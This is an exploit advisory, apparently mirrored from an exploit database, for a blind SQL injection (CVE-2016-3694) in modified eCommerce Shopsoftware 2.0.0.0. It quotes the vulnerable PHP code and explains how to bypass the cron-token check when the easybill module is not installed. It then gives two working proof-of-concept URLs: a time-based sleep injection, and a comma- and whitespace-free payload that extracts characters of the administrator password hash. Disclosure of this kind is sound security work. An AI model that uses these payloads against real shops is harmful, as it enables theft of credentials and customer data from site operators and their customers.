Skip to content
cyberexploits
webappphptext

modified eCommerce Shopsoftware 2.0.0.0 rev 9678 - Blind SQL Injection

modified eCommerce Shopsoftware 2.0.0.0 rev 9678 - Blind SQL Injection

Publié le 2016-04-19

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/php/webapps/39710.txt7eac4c3a
raw
# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678

# Date: 16.04.2016

# Category: webapps

# Vendor Homepage: http://www.modified-shop.org/download

# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96

# Version: 2.0.0.0 rev 9678

# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux

# Exploit Author: Felix Maduakor

# Contact: Felix.Maduakor@rub.de

# CVE: CVE-2016-3694



Product Description:

modified eCommerce is an Open Source shopsoftware



Vulnerability Details:

Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php':





File: [shoproot]/api/easybill/easybillcsv.php



[24] 		if (isset($_GET['token']) &&  $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) {

[25-61] 		...

[62]			} else {

[63]					die('Direct Access to this location is not allowed.');



As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN





[35]			if (count($_GET['orders_status']) > 0) {

[36]			$_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']);

[37]			$orders_status = explode(',', $_GET['orders_status']);

[38]			$module->from_orders_status = implode("', '", $orders_status);

[39]			}





[43]			if (isset($_GET['customers_status'])) {

[44]			$_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']);

[45]			$customers_status = explode(',', $_GET['customers_status']);

[46]			$module->from_customers_status = implode("', '", $customers_status);

[47]			}



As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object.



File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php



[63]		$export_query = xtc_db_query("SELECT DISTINCT o.orders_id 

[64]                                    FROM ".TABLE_ORDERS." o

[65]                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh

[66]                                      ON o.orders_id = osh.orders_id	

[67]                                   WHERE (o.orders_status IN ('" . $this->from_orders_status . "') 

[68]                                          OR osh.orders_status_id IN ('" . $this->from_orders_status . "'))

[69]                                     AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'

[70]                                          OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')

[71]                                     AND o.customers_status IN ('" . $this->from_customers_status . "')

[72]                                ORDER BY o.orders_id");





The unescaped GET-parameters get placed in the query on line 67, 68 and 71.

Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection.

The injection cannot include whitespaces or commas.



POC [Proof of Concept]:



http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23

Will result in following query and execute the sleep-function for 5 seconds:



SELECT DISTINCT o.orders_id 

                                   FROM ".TABLE_ORDERS." o

                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh

                                      ON o.orders_id = osh.orders_id	

                                   WHERE (o.orders_status IN ('-111'))or-sleep(5)/* 

    

                                    long comment

                                         

                                    */#comment

                               ORDER BY o.orders_id



There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be:





http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23









Timeline

-----

[16.04.2016] Reporting vulnerability to vendor







Voir sur GitHub